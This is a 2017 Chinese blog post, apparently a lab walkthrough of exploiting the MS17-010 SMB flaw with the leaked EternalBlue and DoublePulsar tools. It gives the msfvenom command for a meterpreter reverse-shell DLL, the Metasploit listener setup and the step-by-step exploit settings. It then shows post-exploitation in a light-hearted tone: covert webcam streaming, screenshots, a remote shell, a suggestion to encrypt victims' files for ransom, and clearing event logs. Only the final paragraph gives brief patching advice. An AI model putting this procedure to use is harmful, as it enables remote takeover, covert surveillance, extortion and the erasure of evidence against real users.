关于NSA的EternalBlue(永恒之蓝) ms17-010漏洞利用

        好久没有用这个日志了,最近WannaCry横行,媒体铺天盖地的报道,我这后知后觉的才想起来研究下WannaCry利用的这个原产于美帝的国家安全局发现的漏洞,发现漏洞不说,可以,自己偷偷的用,也可以,可是,你不能泄露出来啊,我们要感谢伟大的组织Shadow Brokers(影子经纪人)多酷炫的名字,有木有很文艺的感觉,感谢他让我们小屁民也用用NSA的工具,O(∩_∩)O哈哈哈~,2016 年 8 月Shadow Brokers入侵了方程式组织(Equation Group是NSA下属的黑客组织)窃取了大量机密文件,并将部分文件公开到了互联网上,这部分被公开的文件包括不少隐蔽的地下的黑客工具。另外Shadow Brokers还保留了部分文件,打算以公开拍卖的形式出售给出价最高的竞价者,预期的价格是 100 万比特币(价值接近5亿美元)。Shadow Brokers的工具一直没卖出去……(是不是很糗),一怒之下哈哈,把工具免费的放出来了,EternalBlue就是这样被公开了,后来就有了利用公布的这个漏洞四处横行的WannaCry。四处找寻,找到了这些工具,完了来实验下,哎,不亏是NSA御用的,老好用了。其实人家工具包里有特别牛的攻击负载,但是那东西来路不正,没敢用,所以只用工具包里面的EternalBlue还有就是Doublepulsa,EternalBlue这个工具就是利用windows系统的Windows SMB 远程执行代码漏洞向Microsoft 服务器消息块 (SMBv1) 服务器发送经特殊设计的消息,就能允许远程代码执行。没有使用现成的攻击载荷,而是用MSF生成一个攻击载荷,用Doublepulsa注入到EternalBlue攻击的系统上
    需要三台电脑

    一台windows7 正版 sp1(没有更新到最新的补丁),ip:192.168.1.179,什么都不需要做,开机,知道IP就可以了
    就是这个倒霉蛋我的笔记本(用了7年了)
图片


     一台用来运行攻击程序,注入dll的,因为EternalBlue需要python2.6.6,32位,以及pywin32-221,32位版本,所以攻击的电脑需要时32位的,我用的是一台windowsXP   ip地址192.168.1.180
 
图片


         还需要一台电脑 这个是控制端,用来控制被入侵的电脑,linux系统,这个还有个功能就是使用msf生成攻击负载,msf是什么就不说了,攻击入侵,杀人越货之必备良品。
图片

首先我们要利用msfvenom生成一个负载,就是一个木马了,帮我们干活的东西,我要在64位的电脑上运行木马,所以生成木马的命令如下:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.41 LPORT=5555 -f dll > /root/dll/systemSet.dll
三个地方 一个就是控制端的地址,一个是使用的端口,一个是生成文件的存放位置。哦 还有就是 模块,用于64位的windows
图片
 

生成后,将dll文件拷贝到攻击用电脑上完了就是利用EternalBlue攻击受害系统,成功后使用Doublepulsa将刚刚生成的木马,远程,人不知,鬼不觉的注入到受害系统上去,从控制机上控制受害机。
图片


接着在msf下开启msfpaylod监听等着被控制端上线。
$ msfconsole,开启msfconsole,看看这是不是很帅,很帅

图片


图片

接下来设置开启监听
msf > useexploit/multi/handler
msf > set LHOST 192.168.1.41
msf > set LPORT 5555
msf > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf > exploit
等着倒霉蛋上钩吧
图片

   
        接下来就是重头戏了,在安装好环境的攻击机上复制好NSA的超牛工具,执行windows目录下的fb.py,源文件要修改下,注释掉26、27、28、72四行。
图片


需要设置的有攻击IP地址192.168.1.179(受害者),回调地址192.168.1.180(攻击机),关闭重定向,设置日志路径,新建或选择一个project其他都是默认值回车即可。
图片


接下来输入命令开启永恒之蓝开始攻击:
use ETERNALBLUE
依次填入相关参数,超时时间等默认参数可以直接回车,需要注意的就是,选择被攻击方的操作系统目标系统信息,以及攻击模式选择FB
图片


图片


看到 这个 Eternalblue Succeeded,攻击完成
图片


接下来开始使用Doublepulsar,把刚刚生成的木马注入到受害系统中去
use Doublepulsar

图片

一路回车,需要注意的就是选择目标操作系统架构,系统后门的执行方式选择Rundll
图片

填写刚刚生成的那个木马dll文件的地址
图片

这个是填写你要注入的进程,默认是lsass.exe 默认就是最好的,直接回车
图片

看到这个吗?Doublepulsar Succeeded ,已经成功把dll木马注入到受操控的系统中。攻击机的使命到此结束
图片

返回到控制机,看看倒霉蛋已经上线了

图片

再看看倒霉蛋,还是浑然不觉,很正常的在运行。
图片

接下来,先用sysinfo看看倒霉蛋的信息,使用webcam_list 看看被控制的电脑有没有摄像头,routes查看路由表

图片


这个screenshot,就是截取被控制端电脑的屏幕看看
图片

这个就是截取到的图片


这个是打开被控制端的摄像头,拍一张图片
图片

这个就是摄像头拍到的图片
图片


下面这个就是开启摄像头直播,把摄像头拍摄的数据流传送回来,直接直播,哈哈哈
图片

这个就是直播呢
图片


shell,获取被控制系统的shell,就是像在你电脑上运行cmd一样,啥命令都可以执行,最高权限,被控制端上没有任何的提示。可以cmd rar 把被控制端上看着有用的文件给加密压缩了,哈哈,完了留个消息,给钱给密码,不给钱,你也打不开文件,哈哈 想哭 就是这么干的……
图片


dir下被控制端的c盘有哪些文件
图片


能做到很多呢,上传,下载文件,执行文件 等等等 没有做不到,只有想不到…… msf是不是很牛。
玩完了,记得清理掉痕迹,清理被控制端的日志
clearev
图片


这个是不是很恐怖,所以,安全很重要,系统要用正版的,倒不至于去买正版,但是最起码要安装原版,完了各种办法去激活想正式版一样的享受升级,补丁……,万万不可用各种系统ghost,确实很快,很快,但是也很危险 很危险,想想这个远程控制你需要漏洞,需要好的攻击工具,很麻烦,如果把木马提前放到ghost映像里面,你安装直接就在系统了,直接控制根本不需要什么攻击和漏洞,看看这次大规模爆发,校园首当其冲,再有就是网络比较大的单位,一是他们是局域网,正中,还有一个原因就是他们的操作系统多数都是30块在大街上ghost的,或者小铺ghost的,微软早在3月14日就发布了ms17-010漏洞的补丁,ETERNALBLUE是在4月14日才释放出来,要不是wannacry大规模爆发,根本不会关注这个漏洞,不会去下载补丁。
posted @ 2017-05-19 01:59  Four Leaf Clover  阅读(10104)  评论(0编辑  收藏  举报